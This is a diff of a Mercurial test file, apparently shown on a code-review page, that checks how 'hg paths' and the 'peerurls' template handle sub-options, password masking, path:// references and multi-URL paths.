79 79 "url": "$TESTTMP/b#tip"
80 80 }
81 81 ]
82 82 $ hg paths -Tjson -q unknown
83 83 [
84 84 ]
85 85 [1]
86 86
87 87 log template:
88 88
89 89 (behaves as a {name: path-string} dict by default)
90 90
91 91 $ hg log -rnull -T '{peerurls}\n'
92 92 dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar
93 93 $ hg log -rnull -T '{join(peerurls, "\n")}\n'
94 94 dupe=$TESTTMP/b#tip
95 95 expand=$TESTTMP/a/$SOMETHING/bar
96 96 $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
97 97 dupe: $TESTTMP/b#tip
98 98 expand: $TESTTMP/a/$SOMETHING/bar
99 99 $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
100 100 $TESTTMP/b#tip
101 101 $ hg log -rnull -T '{peerurls % "{urls|json}\n"}'
102 102 [{"pushurl": "https://example.com/dupe", "url": "$TESTTMP/b#tip"}]
103 103 [{"url": "$TESTTMP/a/$SOMETHING/bar"}]
104 104
105 105 (sub options can be populated by map/dot operation)
106 106
107 107 $ hg log -rnull \
108 108 > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
109 109 url: $TESTTMP/b#tip
110 110 pushurl: https://example.com/dupe
111 111 $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
112 112 https://example.com/dupe
113 113
114 114 (in JSON, it's a dict of urls)
115 115
116 116 $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
117 117 {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
118 118
119 119 password should be masked in plain output, but not in machine-readable/template
120 120 output:
121 121
122 122 $ echo 'insecure = http://foo:insecure@example.com/' >> .hg/hgrc
123 123 $ hg paths insecure
124 124 http://foo:***@example.com/
125 125 $ hg paths -Tjson insecure
126 126 [
127 127 {
128 128 "name": "insecure",
129 129 "url": "http://foo:insecure@example.com/"
130 130 }
131 131 ]
132 132 $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
133 133 http://foo:insecure@example.com/
134 134
135 135 zeroconf wraps ui.configitems(), which shouldn't crash at least:
136 136
137 137 $ hg paths --config extensions.zeroconf=
138 138 dupe = $TESTTMP/b#tip
139 139 dupe:pushurl = https://example.com/dupe
140 140 expand = $TESTTMP/a/$SOMETHING/bar
141 141 insecure = http://foo:***@example.com/
142 142
143 143 $ cd ..
144 144
145 145 sub-options for an undeclared path are ignored
146 146
147 147 $ hg init suboptions
148 148 $ cd suboptions
149 149
150 150 $ cat > .hg/hgrc << EOF
151 151 > [paths]
152 152 > path0 = https://example.com/path0
153 153 > path1:pushurl = https://example.com/path1
154 154 > EOF
155 155 $ hg paths
156 156 path0 = https://example.com/path0
157 157
158 158 unknown sub-options aren't displayed
159 159
160 160 $ cat > .hg/hgrc << EOF
161 161 > [paths]
162 162 > path0 = https://example.com/path0
163 163 > path0:foo = https://example.com/path1
164 164 > EOF
165 165
166 166 $ hg paths
167 167 path0 = https://example.com/path0
168 168
169 169 :pushurl must be a URL
170 170
171 171 $ cat > .hg/hgrc << EOF
172 172 > [paths]
173 173 > default = /path/to/nothing
174 174 > default:pushurl = /not/a/url
175 175 > EOF
176 176
177 177 $ hg paths
178 (paths.default:pushurl not a URL; ignoring)
178 (paths.default:pushurl not a URL; ignoring: "/not/a/url")
179 179 default = /path/to/nothing
180 180
181 181 #fragment is not allowed in :pushurl
182 182
183 183 $ cat > .hg/hgrc << EOF
184 184 > [paths]
185 185 > default = https://example.com/repo
186 186 > invalid = https://example.com/repo
187 187 > invalid:pushurl = https://example.com/repo#branch
188 188 > EOF
189 189
190 190 $ hg paths
191 191 ("#fragment" in paths.invalid:pushurl not supported; ignoring)
192 192 default = https://example.com/repo
193 193 invalid = https://example.com/repo
194 194 invalid:pushurl = https://example.com/repo
195 195
196 196 $ cd ..
197 197
198 198 'file:' disables [paths] entries for clone destination
199 199
200 200 $ cat >> $HGRCPATH <<EOF
201 201 > [paths]
202 202 > gpath1 = http://hg.example.com
203 203 > EOF
204 204
205 205 $ hg clone a gpath1
206 206 abort: cannot create new http repository
207 207 [255]
208 208
209 209 $ hg clone a file:gpath1
210 210 updating to branch default
211 211 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
212 212 $ cd gpath1
213 213 $ hg -q id
214 214 000000000000
215 215
216 216 $ cd ..
217 217
218 218 Testing path referencing other paths
219 219 ====================================
220 220
221 221 basic setup
222 222 -----------
223 223
224 224 $ ls -1
225 225 a
226 226 b
227 227 gpath1
228 228 suboptions
229 229 $ hg init chained_path
230 230 $ cd chained_path
231 231 $ cat << EOF > .hg/hgrc
232 232 > [paths]
233 233 > default=../a
234 234 > other_default=path://default
235 235 > path_with_branch=../branchy#foo
236 236 > other_branch=path://path_with_branch
237 237 > other_branched=path://path_with_branch#default
238 238 > pushdest=../push-dest
239 239 > pushdest:pushrev=default
240 240 > pushdest2=path://pushdest
241 241 > pushdest-overwrite=path://pushdest
242 242 > pushdest-overwrite:pushrev=foo
243 243 > EOF
244 244
245 245 $ hg init ../branchy
246 246 $ hg init ../push-dest
247 247 $ hg debugbuilddag -R ../branchy '.:base+3<base@foo+5'
248 248 $ hg log -G -T '{branch}\n' -R ../branchy
249 249 o foo
250 250 |
251 251 o foo
252 252 |
253 253 o foo
254 254 |
255 255 o foo
256 256 |
257 257 o foo
258 258 |
259 259 | o default
260 260 | |
261 261 | o default
262 262 | |
263 263 | o default
264 264 |/
265 265 o default
266 266
267 267
268 268 $ hg paths
269 269 default = $TESTTMP/a
270 270 gpath1 = http://hg.example.com/
271 271 other_branch = $TESTTMP/branchy#foo
272 272 other_branched = $TESTTMP/branchy#default
273 273 other_default = $TESTTMP/a
274 274 path_with_branch = $TESTTMP/branchy#foo
275 275 pushdest = $TESTTMP/push-dest
276 276 pushdest:pushrev = default
277 277 pushdest-overwrite = $TESTTMP/push-dest
278 278 pushdest-overwrite:pushrev = foo
279 279 pushdest2 = $TESTTMP/push-dest
280 280 pushdest2:pushrev = default
281 281
282 282 test basic chaining
283 283 -------------------
284 284
285 285 $ hg path other_default
286 286 $TESTTMP/a
287 287 $ hg pull default
288 288 pulling from $TESTTMP/a
289 289 no changes found
290 290 $ hg pull other_default
291 291 pulling from $TESTTMP/a
292 292 no changes found
293 293
294 294 test inheritance of the #fragment part
295 295 --------------------------------------
296 296
297 297 $ hg pull path_with_branch
298 298 pulling from $TESTTMP/branchy
299 299 adding changesets
300 300 adding manifests
301 301 adding file changes
302 302 added 6 changesets with 0 changes to 0 files
303 303 new changesets 1ea73414a91b:bcebb50b77de
304 304 (run 'hg update' to get a working copy)
305 305 $ hg pull other_branch
306 306 pulling from $TESTTMP/branchy
307 307 no changes found
308 308 $ hg pull other_branched
309 309 pulling from $TESTTMP/branchy
310 310 searching for changes
311 311 adding changesets
312 312 adding manifests
313 313 adding file changes
314 314 added 3 changesets with 0 changes to 0 files (+1 heads)
315 315 new changesets 66f7d451a68b:2dc09a01254d
316 316 (run 'hg heads' to see heads)
317 317
318 318 test inheritance of the suboptions
319 319 ----------------------------------
320 320
321 321 $ hg push pushdest
322 322 pushing to $TESTTMP/push-dest
323 323 searching for changes
324 324 adding changesets
325 325 adding manifests
326 326 adding file changes
327 327 added 4 changesets with 0 changes to 0 files
328 328 $ hg push pushdest2
329 329 pushing to $TESTTMP/push-dest
330 330 searching for changes
331 331 no changes found
332 332 [1]
333 333 $ hg push pushdest-overwrite --new-branch
334 334 pushing to $TESTTMP/push-dest
335 335 searching for changes
336 336 adding changesets
337 337 adding manifests
338 338 adding file changes
339 339 added 5 changesets with 0 changes to 0 files (+1 heads)
340 340
341 341 Test chaining path:// definition
342 342 --------------------------------
343 343
344 344 This is currently unsupported, but feel free to implement the necessary
345 345 dependency detection.
346 346
347 347 $ cat << EOF >> .hg/hgrc
348 348 > chain_path=path://other_default
349 349 > EOF
350 350
351 351 $ hg id
352 352 000000000000
353 353 $ hg path
354 354 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
355 355 [255]
356 356 $ hg pull chain_path
357 357 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
358 358 [255]
359 359
360 360 Doing an actual circle should always be an issue
361 361
362 362 $ cat << EOF >> .hg/hgrc
363 363 > rock=path://cissors
364 364 > cissors=path://paper
365 365 > paper=://rock
366 366 > EOF
367 367
368 368 $ hg id
369 369 000000000000
370 370 $ hg path
371 371 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
372 372 [255]
373 373 $ hg pull chain_path
374 374 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
375 375 [255]
376 376
377 377 Test basic error cases
378 378 ----------------------
379 379
380 380 $ cat << EOF > .hg/hgrc
381 381 > [paths]
382 382 > error-missing=path://unknown
383 383 > EOF
384 384 $ hg path
385 385 abort: cannot use `path://unknown`, "unknown" is not a known path
386 386 [255]
387 387 $ hg pull error-missing
388 388 abort: cannot use `path://unknown`, "unknown" is not a known path
389 389 [255]
390 390
391 391 Test path pointing to multiple urls
392 392 ===================================
393 393
394 394 Simple cases
395 395 ------------
396 396 - one layer
397 397 - one list
398 398 - no special option
399 399
400 400 $ cat << EOF > .hg/hgrc
401 401 > [paths]
402 402 > one-path=foo
403 403 > multiple-path=foo,bar,baz,https://example.org/
404 404 > multiple-path:multi-urls=yes
405 405 > EOF
406 406 $ hg path
407 407 gpath1 = http://hg.example.com/
408 408 multiple-path = $TESTTMP/chained_path/foo
409 409 multiple-path:multi-urls = yes
410 410 multiple-path = $TESTTMP/chained_path/bar
411 411 multiple-path:multi-urls = yes
412 412 multiple-path = $TESTTMP/chained_path/baz
413 413 multiple-path:multi-urls = yes
414 414 multiple-path = https://example.org/
415 415 multiple-path:multi-urls = yes
416 416 one-path = $TESTTMP/chained_path/foo
417 417
418 418 Reference to a list
419 419 -------------------
420 420
421 421 $ cat << EOF >> .hg/hgrc
422 422 > ref-to-multi=path://multiple-path
423 423 > EOF
424 424 $ hg path | grep ref-to-multi
425 425 ref-to-multi = $TESTTMP/chained_path/foo
426 426 ref-to-multi:multi-urls = yes
427 427 ref-to-multi = $TESTTMP/chained_path/bar
428 428 ref-to-multi:multi-urls = yes
429 429 ref-to-multi = $TESTTMP/chained_path/baz
430 430 ref-to-multi:multi-urls = yes
431 431 ref-to-multi = https://example.org/
432 432 ref-to-multi:multi-urls = yes
433 433
434 434 List with a reference
435 435 ---------------------
436 436
437 437 $ cat << EOF >> .hg/hgrc
438 438 > multi-with-ref=path://one-path, ssh://babar@savannah/celeste-ville
439 439 > multi-with-ref:multi-urls=yes
440 440 > EOF
441 441 $ hg path | grep multi-with-ref
442 442 multi-with-ref = $TESTTMP/chained_path/foo
443 443 multi-with-ref:multi-urls = yes
444 444 multi-with-ref = ssh://babar@savannah/celeste-ville
445 445 multi-with-ref:multi-urls = yes
446 446
447 447 List with a reference to a list
448 448 -------------------------------
449 449
450 450 $ cat << EOF >> .hg/hgrc
451 451 > multi-to-multi-ref = path://multiple-path, ssh://celeste@savannah/celeste-ville
452 452 > multi-to-multi-ref:multi-urls = yes
453 453 > EOF
454 454 $ hg path | grep multi-to-multi-ref
455 455 multi-to-multi-ref = $TESTTMP/chained_path/foo
456 456 multi-to-multi-ref:multi-urls = yes
457 457 multi-to-multi-ref = $TESTTMP/chained_path/bar
458 458 multi-to-multi-ref:multi-urls = yes
459 459 multi-to-multi-ref = $TESTTMP/chained_path/baz
460 460 multi-to-multi-ref:multi-urls = yes
461 461 multi-to-multi-ref = https://example.org/
462 462 multi-to-multi-ref:multi-urls = yes
463 463 multi-to-multi-ref = ssh://celeste@savannah/celeste-ville
464 464 multi-to-multi-ref:multi-urls = yes
465 465
466 466 individual suboptions are inherited
467 467 -----------------------------------
468 468
469 469 $ cat << EOF >> .hg/hgrc
470 470 > with-pushurl = foo
471 471 > with-pushurl:pushurl = http://foo.bar/
472 472 > with-pushrev = bar
473 473 > with-pushrev:pushrev = draft()
474 474 > with-both = toto
475 475 > with-both:pushurl = http://ta.ta
476 476 > with-both:pushrev = secret()
477 477 > ref-all-no-opts = path://with-pushurl, path://with-pushrev, path://with-both
478 478 > ref-all-no-opts:multi-urls = yes
479 479 > with-overwrite = path://with-pushurl, path://with-pushrev, path://with-both
480 480 > with-overwrite:multi-urls = yes
481 481 > with-overwrite:pushrev = public()
482 482 > EOF
483 483 $ hg path | grep with-pushurl
484 484 with-pushurl = $TESTTMP/chained_path/foo
485 485 with-pushurl:pushurl = http://foo.bar/
486 486 $ hg path | grep with-pushrev
487 487 with-pushrev = $TESTTMP/chained_path/bar
488 488 with-pushrev:pushrev = draft()
489 489 $ hg path | grep with-both
490 490 with-both = $TESTTMP/chained_path/toto
491 491 with-both:pushrev = secret()
492 492 with-both:pushurl = http://ta.ta/
493 493 $ hg path | grep ref-all-no-opts
494 494 ref-all-no-opts = $TESTTMP/chained_path/foo
495 495 ref-all-no-opts:multi-urls = yes
496 496 ref-all-no-opts:pushurl = http://foo.bar/
497 497 ref-all-no-opts = $TESTTMP/chained_path/bar
498 498 ref-all-no-opts:multi-urls = yes
499 499 ref-all-no-opts:pushrev = draft()
500 500 ref-all-no-opts = $TESTTMP/chained_path/toto
501 501 ref-all-no-opts:multi-urls = yes
502 502 ref-all-no-opts:pushrev = secret()
503 503 ref-all-no-opts:pushurl = http://ta.ta/
504 504 $ hg path | grep with-overwrite
505 505 with-overwrite = $TESTTMP/chained_path/foo
506 506 with-overwrite:multi-urls = yes
507 507 with-overwrite:pushrev = public()
508 508 with-overwrite:pushurl = http://foo.bar/
509 509 with-overwrite = $TESTTMP/chained_path/bar
510 510 with-overwrite:multi-urls = yes
511 511 with-overwrite:pushrev = public()
512 512 with-overwrite = $TESTTMP/chained_path/toto
513 513 with-overwrite:multi-urls = yes
514 514 with-overwrite:pushrev = public()
515 515 with-overwrite:pushurl = http://ta.ta/
General Comments 0
You need to be logged in to leave comments. Login now